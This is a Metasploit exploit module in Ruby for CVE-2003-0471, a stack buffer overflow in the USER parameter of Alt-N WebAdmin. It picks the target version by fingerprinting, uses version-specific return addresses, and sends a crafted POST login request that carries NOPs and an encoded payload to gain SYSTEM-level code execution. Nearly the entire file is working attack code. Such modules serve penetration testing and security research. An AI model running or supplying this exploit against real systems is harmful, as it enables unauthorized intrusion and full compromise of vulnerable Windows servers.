112 lines
3.2 KiB
Ruby
112 lines
3.2 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Alt-N WebAdmin USER Buffer Overflow',
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'Description' => %q{
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Alt-N WebAdmin is prone to a buffer overflow condition. This
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is due to insufficient bounds checking on the USER
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parameter. Successful exploitation could result in code
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execution with SYSTEM level privileges.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2003-0471' ],
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[ 'OSVDB', '2207' ],
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[ 'BID', '8024'],
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[ 'URL', 'http://www.nessus.org/plugins/index.php?view=single&id=11771']
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 830,
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'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['Automatic', {}],
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['WebAdmin 2.0.4 Universal', { 'Ret' => 0x10074d9b }], # 2.0.4 webAdmin.dll
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['WebAdmin 2.0.3 Universal', { 'Ret' => 0x10074b13 }], # 2.0.3 webAdmin.dll
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['WebAdmin 2.0.2 Universal', { 'Ret' => 0x10071e3b }], # 2.0.2 webAdmin.dll
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['WebAdmin 2.0.1 Universal', { 'Ret' => 0x100543c2 }], # 2.0.1 webAdmin.dll
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jun 24 2003'))
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register_options([Opt::RPORT(1000)], self.class)
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end
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def exploit
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mytarget = target
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if (target.name =~ /Automatic/)
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res = send_request_raw({
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'uri' => '/WebAdmin.DLL'
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}, -1)
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if (res and res.body =~ /WebAdmin.*v(2\..*)$/)
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case $1
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when /2\.0\.4/
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mytarget = targets[1]
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when /2\.0\.3/
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mytarget = targets[2]
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when /2\.0\.2/
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mytarget = targets[3]
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when /2\.0\.1/
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mytarget = targets[4]
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else
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print_error("No target found for v#{$1}")
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return
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end
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else
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print_error("No target found")
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end
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end
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user_cook = rand_text_alphanumeric(2)
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post_data = 'User=' + make_nops(168) + [mytarget.ret].pack('V') + payload.encoded
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post_data << '&Password=wtf&languageselect=en&Theme=Heavy&Logon=Sign+In'
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print_status("Sending request...")
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res = send_request_cgi({
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'uri' => '/WebAdmin.DLL',
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'query' => 'View=Logon',
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'method' => 'POST',
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'content-type' => 'application/x-www-form-urlencoded',
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'cookie' => "User=#{user_cook}; Lang=en; Theme=standard",
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'data' => post_data,
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'headers' =>
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{
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'Accept' => 'image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png',
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'Accept-Language' => 'en',
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'Accept-Charset' => 'iso-8859-1,*,utf-8'
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}
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}, 5)
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handler
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end
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end
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